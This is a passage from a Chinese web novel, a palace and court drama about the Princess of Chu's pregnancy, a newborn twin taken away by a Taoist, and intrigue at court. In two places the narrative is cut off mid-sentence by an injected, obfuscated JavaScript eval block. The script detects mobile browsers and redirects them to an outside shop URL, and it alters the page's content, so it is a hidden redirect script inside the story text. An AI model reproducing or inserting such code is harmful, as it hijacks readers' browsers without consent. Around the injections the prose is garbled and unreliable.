师冉月不语。她拢了拢肩上的狐裘,银白柔软的毛吞没微红的指尖。良久,她道:“堕落、抑郁,并不是一定由苦日子带来的,各人的苦痛都无法相通。四个月前东宫里送了封信给云姝,说岳皇后病逝了,没有什么别的病症,太医也只说是心气郁结。她父兄皆被丈夫赐死,自己也被废,可她仍是太子之母,住在冷宫未短衣食,城外那些将要成为饿殍的人想必也不能完全共情。人只要比旁人在某处稍长一点,便总会叫人挑理。苦日子的‘苦’也没有一个标准。” 端木玄未再言语,只饮完了一壶酒,便催着师冉月就寝。 “你不守岁?” “乏了,不守。” 大道五年二月,帝崩,庙号武宗。太子端木昀即位,追谥生母岳氏为昭献皇后,册太子贵嫔和缨为皇后。大赦天下。四月,翻岳氏案与师道旷案,追赠岳义为颍川侯、太子少师,岳和为德安侯;复师道旷爵位,追赠太傅;追赠施仲为户部尚书。诏师穆袭阳曲侯,追赠师晟为阳曲侯。 五月,史自兴上表请辞,允。 大赦后,师穆兄弟三人便由私兵护送至慕州,一家人暂得团圆。不过很快师穆接了诏令拜为太尉,执虎符于京郊大营练兵,便也不能多拖延,一人快马先回了京城,其余人则慢慢收拾东西准备回京。 师冉月一开始还没反应过来,某日突然发觉这是她头一次将要与家人相离千里,不由得难过,甚至隐隐有些心慌,便成日里回师家缠着嫂子们。 “这次回京就好了。”端木萌道,“我也可放心回宫去。” “你可别去给和娘娘添乱了,今上力排众议立她为后,还推拒了好几个想往后宫里塞人的重臣,她如今又没有子嗣傍身,千万双眼睛都盯着她出差错好把她拉下水呢。” “我如今是长公主,自然是回去给她撑腰的,哪能是给她添乱呢。”端木萌瞪眼道。 “不过如今也是物是人非了。”萧晨方才一直沉默,如今突然开口,道:“我听说今上欲为定陶长公主新建长公主府?” “是,不过姐姐她还是要留在岳府。添哥儿如今已十三岁了,再过几年成家立业,便能继承岳府的家业了。” 师冉月仍惦记着官和言。自从她到逢州二人便断了联系,直到她嫁给端木玄成为楚王妃,才在闽中郡王府送来的贺礼中收到了她附上的信。“我这儿有送给和言的东西,还请嫂嫂们帮我带去。” “那是自然。不过她如今恐怕不大好过,闽中郡王的侧妃宋滢是个心狠好争的人,原先我们还未离京时便有人议论先前荆氏王妃难产而亡与她有关,后来这流言也被她压了下去,她定是不肯屈居侧妃之位的。” “我之前劝和言大不了效仿陇西郡王妃,多纳些侍妾进府,容她们各自争执,自己就落得清净。” “那又不是什么好法子,王氏是地位稳固,可陇西郡王后院也被她弄的声名狼藉,她又无子无女,我皇兄想为三皇兄娶个好人家的侧妃都无从下手。”端木萌不屑,“从来什么士子风流,流连勾栏的、豢养歌姬的、蓄妾纳婢的,都是那些没什么功名只会写些酸诗的文人吹捧附会出来的,正经人家怎么允许子孙姬妾成群不务正业,遑论勋爵人家,最好名声,岂不都败没了。何况真心爱重丈夫的女子,有几个会情愿给丈夫纳妾的呢。” 师冉月心头一缩,念及楚王府一个正妃两个侧妃,想来应该是不多不少、恰恰好好......何况师氏背后的京城世族、徐氏背后的皇室姻亲,还有林氏背后的慕州老臣,这都是端木玄大业所需,更是他自己迎娶,自己大概正好得个贤名,便又安心下来。 师家众人留至五月末,庆贺了师冉月二十三岁生辰,六月初便启程回京。师冉月便就此闲在了王府,维持着平淡无聊的生活。 “如今唯一不用花费什么心思就能开心的事,便是看着城儿日渐长大了。”师冉月摸着端木城的头,又给他碟子里添了几块切好的冰瓜。 林绵穿着墨青色蝉翼薄衫,坐在廊下风口里摇着蒲扇,笑道:“你倒是自己也生一个呀,小婴儿才是一天一个样。” 师冉月道:“这哪是我求便能求来的,全然是看缘分的事。”又把头偏向林绵,用扇子掩着低声道:“何况这些日子天热得很,王爷和我也懒得动弹,恨不得一人一张榻抱着凉席睡呢。” 林绵红了脸:“孩子还在这里——好不害臊。” 师冉月转转眼睛:“他又听不懂。” “那也不是能浑说的呀。” 师冉月心下倒是晓得,自打她嫁进来,林绵便盼着她生个嫡长子出来。端木城虽是长子,但端木玄继承王位后这么久也没有把他立为世子的意思,显然还是在等师冉月生子。然则王府迟迟只有这一个孩子,旁人动了想巴结的心思便也只能找端木城,便是把林绵架在火上烤了。 “你且放宽心过日子就是了,绵姐姐,我和王爷都晓得你和城儿的为人,哪怕日后王府有再多的孩子,城儿也是长子,是大哥。只要有我在一日,你就带着孩子过你想过的日子就是了。” 天色沉下来,林绵也带着端木城离开。积郁了一日的暑气渐渐被微凉的晚风吹开,植物汁液的味道氤氲在空气里。师冉月心不在焉地喝着绿豆莲子羹,吃着用黄瓜、韭苔和木耳做的小菜,突然问合月道:“王爷在哪儿?” 合月道:“殿下忘了,刚才近黛来说王爷与几个幕僚去了银朱楼用晚膳,晚几个时辰再回来。” “你叫人去前院守着,王爷一回来便差人告诉我......别叫东侧院的把人给劫去了。” 连着阴雨了几日,雨刚一停人也松快了些,天也凉了些许,正院的小丫鬟们都换上了新裁的鸭蛋青色秋衣,梳着一溜儿双环髻,插着三青色绒花,看上去赏心悦目。 寒峦提着一个食盒子进来,道:“殿下,城西听说您最近胃口不好,特派人去了一趟逢州和京城 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226140|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,按殿下原来的口味寻了些吃食给殿下快马送回来了。” 音儿遣散了屋内其余人,啼樱接过食盒,打开给师冉月过目。师冉月看着,几乎都是她从前在信上提过的,当中还有她少时爱不释手的相国寺的炙猪肉,用椿叶巷马婆婆的胡饼裹着吃,这吃法是她与官和言独创的,额外也只与端木凛分享过。 “替我多谢......商公子,劳他费心了。” 寒峦看着她脸色,忙又行礼道:“公子说殿下不必费心补偿他的情谊,他闲来无事自己情愿做,请殿下不要介意。他还说,殿下与他兄妹相称,只管把他当作师家兄长对待就是了。” 师冉月叹气,叫音儿拿来自己装私房钱的箱子,又取了三十两银出来,递给寒峦道:“劳你将这银子给许公子送去罢,请他看着还缺点什么去添置添置。” 寒峦拿着银子走了。师冉月又长叹,只道:“当初不得已寻他帮忙,只是希望我能晓得王府影卫的动向。如今多亏了他有了寒峦,可他这么一直在慕州住着,我这心倒总是悬着......罢了,就算我这辈子欠了他,只管下辈子补偿就是了。” 虽说着看缘分,但天长日久,又被看着吃补药,师冉月也有些烦闷着急,更兼着听了府医的话要养好身体,又吃着汤药,好些她原先爱吃的冰的、酸辣刺激的都不许吃,更叫她道上碰见个寺庙都忍不住去拜一拜求一求,只盼得早日结束这日子。 音儿皱着眉头,盯着师冉月憋着嘴角咽下去那难闻又难喝的汤药,赶紧往她嘴里塞了两瓣剥好的蜜橘,忍不住道:“这药殿下都从夏天喝到冬天了,什么时候是个头啊。” 师冉月无奈道:“自然是什么时候诊出喜脉了什么时候是个头。我今儿收到大嫂的信,说是三嫂和四嫂都又有孕了,明明师家从前连着两代单传,到了我们这一辈儿才人丁兴旺起来,想是唐氏和岳氏的功劳,可这体质也不该只传男不传女吧?” 啼樱在旁边笑嘻嘻道:“殿下别急,我外祖母说这种情况是送子娘娘看殿下心诚,要从投胎的人里精心选一个合适的做殿下的孩子呢。” “但愿吧。我如今为了这孩子把王爷日日留在正院,只怕徐侧妃已经不愿了......不如,啼樱,你一会儿去书房告诉王爷,就说我今日肠胃有些不适,叫他到东侧院去歇息吧。” “殿下这是什么话——” “我这肠胃是真有点不舒服,不晓得是不是吃坏了什么。” “那我去请府医来看看。” “也罢。”师冉月微微屈着身子蜷在椅子上。不说还好,一说便觉得反胃的感觉更甚了些许,隐隐有些压不住的恶心。音儿去叫府医,啼樱便迅速燃上了无香的手炉给师冉月焐着肚子。 很快府医前来,一边把着脉一边问道:“殿下是胃疼还是只是恶心?” “恶心罢......有点反胃的感觉,但是不疼。” 没等师冉月话说完,那给她开“恶心”汤药的“老匹夫”就一副喜上眉梢的模样,起身行礼道:“恭喜殿下,恭喜殿下啊——殿下这是有喜了。”他这一个月告假还家照顾生病的妻子,昨日才回来,如今一回来这差事就妥了,瞧着比师冉月还高兴。 师冉月也登时瞪大了眼,不敢置信又喜笑颜开:“你确定的吧?这回我就不用再喝那汤药了吧?” 府医笑道:“自然不用自然不用。” 音儿和啼樱都笑道:“恭喜殿下!” 师冉月也笑道:“快给赏银。啼樱,快去书房找王爷。” 啼樱笑着应了,三步并两步跑了出去。音儿摇头笑她还是这般跳脱不稳重,去拿了一个小金麒麟送给府医,将他送出院后,回来向师冉月道:“这下姑娘就不用忧心了。” “我也得尽快写信给兄嫂们,这下他们也不用操心我了。对了,我得跟三哥三嫂把成和要来,我是舍不得你离开的,只好把你的夫婿也收到身边了......” “姑娘——” “别害羞嘛,虽说咱家的侍女一般都是二十五岁放出去成家,可你是我的贴身丫鬟,我把你当妹妹待的,何况二十二岁也不小了,当心成和在京城看上了别人。” “姑娘,我就是成婚也不会离开你的。” “我晓得啊,所以我已经跟王爷说好了,成和领着师家的人来,替换掉原先王府后院的侍卫,这样他也有足够的人手安排,简直是三全其美的好事。” 正说着,已听得端木玄的脚步声进了院子。师冉月起身快步相迎,绕过屏风,正跟端木玄撞了个满怀。端木玄扶着她的双肩到榻上坐下,半蹲在她身前拉着她的手,眉眼里都是笑意,却像是激动的说不出来话了。师冉月失笑道:“王爷又不是第一次当父亲了。” “这不一样。这可是我嫡出的、名正言顺的第一个孩子。” 师冉月心知戳中了他的心事,抬手摸了摸他的肩,笑道:“王爷替这孩子琢磨个名字吧。” “不急,等我好好想想,男孩女孩的都取些字来。你闲来无事也想想,我们最后把这些字都凑到一起,再替他选个好名字出来。” “是要选个好名字,既要寓意好,又要写着好看,念起来也得悦耳。”师冉月倒是从小幻想过无数次替自己的孩子取名字的场景了,小时候看见什么喜欢的诗句典故凑出个名字来都要记下,如今却又觉得那些名字也草率,还得自己细细琢磨来。 “从今日起我都留在正院陪你——” “别!我既然有了身孕,你还是多去两位侧妃那儿坐坐罢,尤其是东侧院。我这孩子揣在肚子里又不会有什么问题,当初绵姐姐有城儿时你这般紧张了吗?城儿如今不还是好好的。” 端木玄沉默,末了叹气道:“其实也是紧张的。” 师冉月却觉得这样的端木玄有点可爱,忍不住笑出了声。 26. 第 26 章 “这下子好了,小六终于也有了孩子了,无论是男是女,日后总也有个寄托,不至于成日里那般无聊。”端木萌第四次怀胎,心态可谓四平八稳,如今肚子已经有半个西瓜大,却仍然扶着腰吃着核桃在地上到处溜达,格外悠哉。 师霖手拄着头躺在榻上看着《孙子兵法》,道:“你还是莫要担心旁人了,小六有一整个王府看着,你却不知道什么时候就折腾得找不见人了。” “那又如何,我有经验。” “太医说你这胎可是双生,许得格外当心才是。你有没有生过双生子。”师霖无奈,起身把她半扶半拽弄到榻上坐,丫鬟捧来张雁开的保胎汤药,他亲自喂给她,又添上两颗蜜枣,再亲自扶着她到院子里散步。 “你若要看书便自去看罢,不必这么紧张我。”端木萌道。好不容易师霖自战场上回来肯用功读书了,虽说端木萌并不信奉什么科举功名之类的事,但师迟师言都入学后,她还是觉得读书有用,该读就得读。 “我自有时间看书,不劳长公主您操心。” 师冉月有孕赶在年末,吃年夜饭时是止不住的孕吐,好一顿折腾,不过倒是把她越折腾越起劲儿,有种和肚子里的孩子比一比谁先干过谁的美感。 端木昀即位初,仍沿用武宗大道五年的年号,次年便改元丰安。 才过了年,宫里便来了人道贺,师冉月前去迎接,却发现来道贺的是从前岳皇后身边的夏公公。 “竟没想到是您来这趟差。”从前她们进宫时也总是夏公公陪着,倒也像是半个长辈的感觉。 “承蒙今上和娘娘孝心,才把我们这些从前跟在昭献皇后身边的人召回了宫中。听闻是王妃您有喜,娘娘便特意令我来道贺了。” “许久未见,和娘娘可还好?” 夏公公却面露难色,踌躇道:“王妃不是外人,老奴也就实话说了,娘娘如今可以算是独木难支,若非今上力排众议,着人保护,娘娘当初恐怕都难以活着登上后位啊。” 师冉月惊讶:“此话怎讲?” 夏公公摇头道:“前两年昭献皇后被废,两位岳将军也都被赐死,东宫就如同在风雨中飘零无人可依。那时候施贵妃也被禁足,后宫里位分高的娘娘人人自危,宫里几乎是那洛充仪一人独大。” “洛充仪?” “哦,王妃离京早,还不晓得,这洛充仪姓何,是史自兴的夫人一个庶出的内侄女,认作养女送进了宫,年轻貌美颇为得宠,还生下了七皇子傍身,一时风头无量。她得宠后便对和娘娘颐气指使,有次和娘娘口误称昭献皇后为母后,被她罚了掌嘴,在她宫中顶着烈日跪了两个时辰!” “竟有此事!”师冉月道,“这样的事,哪怕是个宫女都要考量考量,更何况是太子贵嫔!” “可不是!”夏公公摇头叹道:“那光景,武宗皇帝沉迷炼丹修道,已不理后宫之事,便全然由她掌管。甭说是东宫的人了,就是当时的淑妃和贤妃娘娘也都受过她的气。”淑妃莫文君是闽中郡王端木阳的生母,贤妃唐瑾一向淡泊名利,不大参与后宫纷扰,但各宫也都敬她几分。 师冉月只觉唏嘘,叹气道:“不过好在今上登基,和娘娘也算是熬出头了。” “不止不止。”夏公公仍摇头,眉眼间都是可怜可惜,“娘娘不能生育已是朝廷内外皆知的事了,今上为着娘娘迟迟不肯纳妃,别说是朝中,就是京城百姓也是议论纷纷。宫里有些不长眼的奴才私下议论,也有阳奉阴违的。” 师冉月闻言,倒觉得如今合该叫端木萌多多进宫去,摆起长公主的架势来,好为和缨分担些。和缨自舞姬一路走到现在,原是心性极坚韧忍耐的了,还能叫跟在昭献皇后身边的夏公公叹息至此,实在是可见其如今的为难。 宫中贵人事到底也不好太多说,二人又闲话了几句旁的,夏公公喝过了一盏茶,呈上贺礼,便也告辞离开了。师冉月送走了夏公公,便忍不住立即坐到案前给端木萌修书。不止是为着和缨之事,史自兴虽辞了官,但朝中势力仍在,坐镇京城,府上来往门客官员络绎不绝,而端木昀又没有治罪于他的把柄,更没有武宗的能力一举根除,辞官一事都是顺水推舟。反倒是师家一派大道年间势力减损,如今正是劣势,而端木昀又恰恰依靠的是师家等旧门阀世族。洛充仪——如今是洛太嫔,以及尚不过三岁的七皇子端木昭仍把持在史家势力手中,怎能叫人不担心。个中利害牵一发而动全身,安知师家此次举家回京是涅槃归来还是羊入虎口,虽有私兵,又怎能随便暴露。 音儿端上一碗温热的甜芝麻羹来,道:“姑娘怎么了,好好的见了夏公公后就这般愁眉苦脸的。”又转头顾信纸,也只又寥寥几个问安好的字,看不出来什么头绪。 师冉月没有搭话,只接过芝麻羹,小勺一勺一勺来回舀着也不喝,想了片刻,却将写了几个字的信纸团了团扔进了废纸堆,问道:“王爷可从北郊回来了?” “应该还没。” “回来了便去请他,只说我有要事相商。” 开春没几日,徐聆雨也有了身孕,楚王府双喜临门,慕州城不少人家都前来庆贺,也有人猜测这一正一侧二妃谁能生出世子。 送走了宾客,师冉月瞬间抚眉松懈下来,想了想道:“合月,你对外说我与徐侧妃需要养胎,不宜喧闹,心意领了,但请各位不必登门造访了。”又转头看向眼底尽是幸福模样的徐聆雨,道:“你如今胎尚未满三月,还不算坐稳,又是头胎,还是别太折腾才好。” 徐聆雨点点头:“妾晓得。”又看向师冉月腹部,如今衣料厚,坐着也看不太出来,但若起身直立已能看出与原先的一点不同。虽说师冉月原先也不是腰肢纤细的类型,早年学骑射练得有力笔挺,近年又松懈下来,腰侧也有些赘肉,但如今小腹往前突起的一点弧形倒是很明显。“殿下如今可还总孕吐?妾近几日每天晨起都吐得厉害,总怕有什么妨碍着孩子的。” “无妨,本就是怀胎给我们造成的这些反应,你只管能吃进去东西的时候还是多吃些,免得营养跟不上,月份大的时候受不住。” 林绵也道:“我怀着城哥儿的时候,早先几个月还好,反倒是五六个月时,按理旁人都该稳定下来了,我却反倒开始孕吐了,好在前几个月多吃了些才不至于垮了。”又叹道:“自古女子生产便是鬼门关,好在王府的府医是个有经验的了,听说老王爷的几个孩子也都是他看着生下来的,只要按他说的来,大概都无妨,千万别任性妄为就是了。” 师冉月听着“任性妄为”四个字心底倒是想笑。师家便有两个任性妄为的主儿,一个是端木萌,另一个便是后来的端木婉,怀着景姐儿和莞姐儿时还好,到了玘哥儿时简直是把除了郎中千叮咛万嘱咐犯忌的其余东西全试了一遍,好在家中还有个会医术的张雁时时小心盯着,否则玘哥儿能好好生下来都得叫人称奇。当时师冉月简直怀疑她是不是不想要这个孩子,忍不住私下里问她,她却笑着摇头,“我试着吃的只是郎中建议少吃的。我总不能为着一个孩子完全牺牲了我的喜好吧?这才第三个,安知往后还有几个,若是都这样一年一年的有孕生子,我整个青春岂不就做了这么一件事。” “哪件事?” “做个母亲。” 丰安元年六月初,西南苗疆王毁约反叛,师穆奉命领兵镇压。几乎同时,西北边疆也时不时受边境几个部落侵扰,念及镇守西北的武将之一正是淑宁郡主夫婿安西将军兼上庸关留守高司,端木玄先前平叛西南又展露了些军事才能,端木昀便诏令楚王端木玄领虎符助守将平叛西北。 与西南这两次较大规模的叛乱不同,西北之乱近几十年实属常事,你来我往胜败相抵,倒没什么大规模冲突,但边民还是深受其扰。武帝前期还时不时派兵治理,后来便逐渐不闻不问,但端木昀却不能容许这等事发生,便要端木玄在西北驻扎一段时间□□。念及楚王妃与侧妃双双有孕,特请了在离慕州不远的知郡寡居的昌邑大长公主去楚王府照顾。 端木玄接到诏令后,笑得无奈又轻蔑:“史自兴尚给我与安王拨了一万兵马,加上西 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“别胡言乱语了,这哪是能随便说的。”师冉月随手捡了一件披肩朝他扔来,正好盖在端木玄头上。端木玄顶着那披风笑道:“别生气嘛。” “我哪里生气了,只是堵住你的嘴,这种话怎么能胡说。” “好好好。”端木玄拿下披风,绕到师冉月身后伸手环住她的腰慢慢收紧抱住,却也不多言语。师冉月背对着他,不晓得他的用意,只红着脸随他去。音儿听着好半响里面没动静,进门想要一探究竟,探头看见此情此景也骤然红了脸,捂着嘴制止了一声惊呼,悄悄又退了出去。 “那司天监都是骗人的把戏,话都是混说的,您莫急。”尧儿和行湘扶着急躁得很在屋里转圈的端木萌,她如今怀胎已经快九个月,又是双生,太医说随时都有可能生产,万万不敢马虎。 却是司天监监正今早上朝时向端木昀道星象显示有煞星自毕宿冲撞帝宫,请避宗室子,而端木昀无子,那监正话里话外就将这煞星引到了云和长公主腹中孩子身上,最后更是明确言说端木萌所怀双生子中一子就是这煞星转世。师霖如今刚任了太学司业,闻言只觉荒唐愤怒,却未待他奏请驳斥,端木昀先铁青着脸道:“一个未出世的孩子的命数就被你们三言两语定下了,荒唐至极!我朝设司天监,是要你们监测历法体察农时以助国本,不是要你们故弄玄虚编排命格的!” 说罢,便当场拟了诏令罢了那监正的官,着吏部再选能人推荐。 师霖还未还家,和缨已将此事透露给了端木萌。虽说端木昀不大相信这些,但不代表其余人不会介怀。假使此事发生在武宗朝,待端木萌的孩子一生下来就诏令溺死也不是不可能,从前也有为着帝星稳固而天家父子互不相见的例子,安知会否有人拿此事发难。 “这明摆着是针对师家,一定是有人看咱们家又复了爵位官职才叫那监正编的这些不着边际的话。”端木婉听说了,也匆匆赶过来,看着端木萌那大的如同随时要坠地一般的肚子发愁,一边劝着她一边扶她坐下。 “旁人怎么办我管不着,我只怕有人要对我的孩儿不利。这还尚且在我肚子里,一切凭我做主,可他们不日就要出生,往后万一有人加害,我又能如何?”端木萌越想越急,眼中已经有些泪意打转,端木婉安慰无果,也跟着想要叹气。 “他们是我的弟妹,谁敢加害?”却是师婷欢站在门口,清亮的声音划破焦急忧虑的牢笼,一双眼满是骄傲与大胆。端木萌见她这般活像个威风凛凛的小老虎一般的样子,倒是破涕为笑,招手叫她进来,把她也抱在怀里,有些宽慰,却还是隐隐发愁:“倒不是伤及体肤的加害,只怕闲言碎语多了,叫人不痛快,活活把人憋闷死了,才是无法掌控的。” 端木婉沉默了一会子,轻叹道:“终归这日子是自己的,旁人言语什么原也不相干。” 端木萌却道:“这是你我没有被这些事绊住。未尝他人苦,怎劝他人善呢?” 27. 第 27 章 六月初一,端木萌熬了近一日,终是平安诞下一对双生女。除却两个月前剩下师家五姑娘师幼桐而伤了根本还在坐月子的张雁,其余人都在产房外一直等待,直到第二声啼哭嘹亮得划破日暮时分凝紫色的夜空,才一起松了口气。 且未等产房清理完毕,师府东角门当值的一个侍卫匆匆闯进院子里来道:“门外有个奇怪的老道士,硬是要见刚出生的七姑娘,小的们赶也赶不走拦也拦不住。” 端木婉愣道:“生产的消息还未向外透露,他怎知是七姑娘?” 师霖如今却对这些“神叨叨”的事儿极为反感,皱着眉道:“只管赶走就是了,一个破道士而已。” 萧晨却道:“镜妤说的也在理,且问问云姝的意思罢。”正说着,行湘从屋内走出来道:“殿下已经听见了。殿下的意思是来者是客,先不让那道士见七姑娘,请那道士隔着屏风与她一见。” 师霖急着冲进屋内向端木萌道:“你才生产完,身子尚且虚弱,怎么就非要撑着见那道士呢?” 端木萌道:“二嫂说得有理,事关旁人就算了,事关我的女儿,就算是诳语,我也得先听了再说。何况我这身子一向好,方才喝了碗参汤,现在汗已经止住了,不妨事。” 师霖仍皱眉,还待再劝,却被端木萌一个眼神憋了回去,只得叹气:“拗不过你。” 端木萌才又笑着道:“来者是客,莫要臭着你那张脸,事关咱们的女儿,也不好叫哥嫂们假手,还是你亲自去招待人家。” “我自晓得,放心吧。” 于是安排了两层屏风遮挡,为着怕端木萌受凉,就让她披着棉披风靠在榻上与那道士对话。那道士身上的道袍虽说看着旧,但却很齐整,一把黑白半杂的胡须垂在胸前,五官端正,神态淡然,看着倒真有两分仙风道骨,却更像是“大隐隐于市”的路子。师霖就房内未散尽的血腥气道歉,他也微笑着摆摆手,只隔着屏风欠欠身,道:“贫道渡执,见过长公主。” 师霖闻言有些讶然,思索着道:“春月楼十五年前名动京城那位歌女晓残月是你的女儿?”那年春月楼提前好几日就宣扬要挂牌一位歌声如天人下凡的奇女子,且只卖艺不卖身,搞足了噱头,引得众人都去围观,却发现春月楼倒真没有夸大,那名为晓残月的歌女的确才貌非凡,眉目如水,朱唇似露,衣带飞扬如云霞漫卷,更别提她不用任何乐器伴奏,只凭一个喉咙就可以比得上对面长生楼一整个乐班。 只是后来不过三个月,晓残月就离奇消失,连春月楼的掌事也说不出一二。却不知从哪里传出流言,说晓残月乃是一个叫渡执的云游道人与人私生,那渡执曾有传言在各地分别救活了几个濒死之人,又来去无踪,一时间引得人们议论纷纷,更有人研究起晓残月先前的唱词,说是别有乾坤,其中最有名的一首《往复曲》竟被人拿来抄写后引经据典的解读,在众人间传出了八百个版本。 晓残月挂牌那三个月正是师霖因为用马球砸坏了师道旷书房房顶而被禁足在家的时候,听见师骁回来给他通风报信的这些趣闻心痒得很,因此这么些年过去还记得。 端木萌不晓得这些,急着问个明白,只瞪了师霖一眼,便道:“道长无需多礼。道长上门,直要见小女,是为何事?” “长公主是直爽人,贫道也好直言。诚如那司天监所言,不提如何影响旁人,师家七姑娘自己命中有劫,贫道特来将她接去,化了命中劫数,才好还家。” 师霖闻言,横眉道:“你说小女命中有劫,证据何在?” 那渡执只微笑道:“在人心。” “安知你不是为人卖命,专意盯上我家?” “敢问贫道为谁家卖命能晓得长公主此胎是男是女?” 师霖被问住,渡执继续道:“我只凭天命行事,长公主与驸马若不想与幼女分离,也是人之常情,只是日后命数如何我便不再过问了。这孩子若是随我走,自有人抚养她,待到满了十二周岁一个轮回,我自会送她还家。” 端木萌与行湘了耳语两句,行湘便向屋外去,不多时领了个奶娘进来,怀中襁褓里正是一个刚出生的女婴。渡执只淡淡瞥了一眼,便道:“长公主不必设这样的局来作考验。这是贵府六姑娘,而非七姑娘。” 行湘道:“敢问道长是如何分辨二位姑娘的?” “面相。” 端木萌叹道:“道长将幼女带走,要去往何处?这十二年间可否还能见家人?” 师霖闻言瞪目欲言,渡执却只自顾自道:“去往何处长公主无需晓得。十二年间自是不能与家人相见,不然贫道将她带走也无甚意义。” 端木萌只长叹。师霖绕到屏风后欲说什么,端木萌抬眼看他道:“将幼子送到寺庙或道观里抚养免灾的也不在少数,这孩子还在我肚子里就被那司天监挑刺,如今又逢这等奇事,想必这孩子的确命中有劫数。” “你怎知他不是将孩子骗走拐卖,说是十二年,他一个不知道从何处来的云游道士,怎么作保证?” 渡执却在屏风外笑了:“既如此,我也不如实话说了,七姑娘随我走后将会由京郊江浪观中的女观抚养。二位若不放心,也可叫不近身的仆从随时去远远探看。”行湘却忍不住道:“你这道士说话颠三倒四的,这话既然可以说,为何方才不早早告知了呢?”尧儿忙拉了拉她。渡执却仿若未闻,眼神仍旧平平地投在端木萌和师霖二人身上,只待他们决定。 师霖与端木萌一时纠结,都没了言语,渡执却也不急,接过丫鬟送来的茶一饮而尽。半晌,端木萌叫两个奶娘都将孩子抱到身前仔细看着,末了抓起小女儿的右臂,不顾她啼哭,狠命咬出一个牙印来,才一边把她抱在怀里哄着,一边又仔细翻看着记住她身上的痣和胎记。渡执又道:“长公主与驸马可以给孩子取个名字。” 端木萌道:“我这几个月一直在琢磨名字,男孩儿女孩儿的都想了......六姐儿就叫棠欢,七姐儿就叫薇欢吧,可好?” 师霖点点头:“你喜欢就行。” 端木萌紧紧抱着仍然断断续续啼哭的师薇欢,只盯着她的脸来回看。师霖背过身去,仍在纠结,却怪道那道士明明是第一次见,却能分清他都只能凭襁褓颜色来区分的两个双生女儿,又加上多年前的传闻,不免多信几分,却还是不忍幼女离家十二载。但奈何不住端木萌这些日子因为司天监那话一直焦虑,如今得有九分信了什么“命数”“劫数”的话,又抱了女儿一会儿,便叫尧儿拿来她一直收藏着的岳诗君未出阁时的一块璎珞戴在师薇欢的颈上,嗓音沙哑道:“小女便托付给道长了,望道长为小女化了劫数,保佑她平安。” 渡执接过师薇欢,再不言语,脚下却飞快,只径自从角门又走了。等师霖反应过来追到街上,已不见了他的身影。 “这不荒唐!” 林绵接过萧晨写给师冉月的信,仔细读了里面专说端木萌幼女那一段,只道:“你如今不大信这些,不代表旁人不信。你小时候不也喜欢找和尚道士解签算命?这些东西定是有几分真,不然不至于流传,既然有这几分真,就不得不叫人忌讳。何况那渡执我也听说过一二,传言都说他有些真道行。” 师冉月却挺着肚子瞪眼:“不过是骗人的把戏,和那司天监一样!谁家好好的孩子才出生就给带走,还不叫与亲人相见?” “那假使现在要是来个人,从前未见过你就把你一些隐私之事也说得真真的,又说你这孩子命中有劫,你能不思虑一二?” 师冉月不语。好半晌,突然耷着眉眼道:“怎么近些年我家似乎就没有什么好事。这好好的刚出生的一个女孩儿,我还没见过没抱过呢,也摊上这么个事儿。” 林绵只道:“你啊先不要顾着别人了,先把你自己肚里这个平平安安生下来罢。我记得上次宫里来的太医说是大概九月中生产,这眼瞅着也只两个多月了。” “我这安稳着呢,没什么事。”师冉月自从五个月后基本上便不再孕吐,能吃能睡,虽然如今又逢盛夏酷暑有些难受,但府医每日请脉都说孩子安然无恙,她也就放下心来,身上也觉得自在些。却是那边徐聆雨的胎像越发不稳,总是见红,因此师冉月也与昌邑大长公主商议,请她住到了东侧院去好多照顾照顾徐聆雨。 “徐家也不知是怎么了,我之前派人去问,看能否叫女眷来陪一陪徐侧妃,结果人回来也没个理由,只说来不了。徐家那二姑娘才出嫁不久我晓得,可那梁夫人没缘没故的倒也不来。” 林绵摇着扇子笑叹:“做嫂子的有几个与小姑亲近的,你当个个都似你家嫂子呢。” 师冉月无奈摇头,只道可怜。 师冉月这胎倒的确安稳,安稳的都过了太医推测的九月中旬也没什么动静。师冉月一面说笑着这孩子看来颇为稳重,一面也有些担心,把楚王府的府医、稳婆、奶娘等人全都留在自己院子旁住下以便随时准备生产。 惠嫂特意从逢州庄子里赶来帮忙,只道:“你们兄妹四个还有岳夫人生的两个哥儿姐儿都是我亲自看着生下来的,有我在,姑娘只管放心。” 九月二十二日夜间,师冉月才与昌邑大长公主等人一同用了晚膳,由音儿和啼樱一左一右扶着在院子里慢慢转悠,突然就感觉下面一股热流汩汩流出,顺着大腿迅速往下流淌,她一下子僵住,轻轻拍了拍音儿的手,道:“快去请稳婆,请府医。” 啼樱小心翼翼地另叫了两个丫鬟搀着师冉月回了早已备好的产房榻上,所幸也不过十几步的距离,但师冉月还是觉得下面坠着撕扯着痛,有种想用手去接住的冲动。 稳婆和府医很快都就位,按部就班地指挥着生产。林绵和昌邑大长公主闻讯也了赶过来。林绵亲自进了产房,代替差点被师冉月撤掉的床幔抓住她的手。她看着师冉月被汗水浸湿的脸有些发愣,甚至还是稳婆提醒才回过神来帮她拿帕子擦汗。当年她生端木城的时候,端木玄倒是在府中,就等在她的房外,甚至她只要转头都能从窗纸上看到他模糊的身形,然而却莫名的有种说不上来的绝望随着这个她一直期待的可以傍身的孩子慢慢脱离她的身体千丝万缕地钻进她的血液。 徐聆雨也被丫鬟扶着慢慢走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226142|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 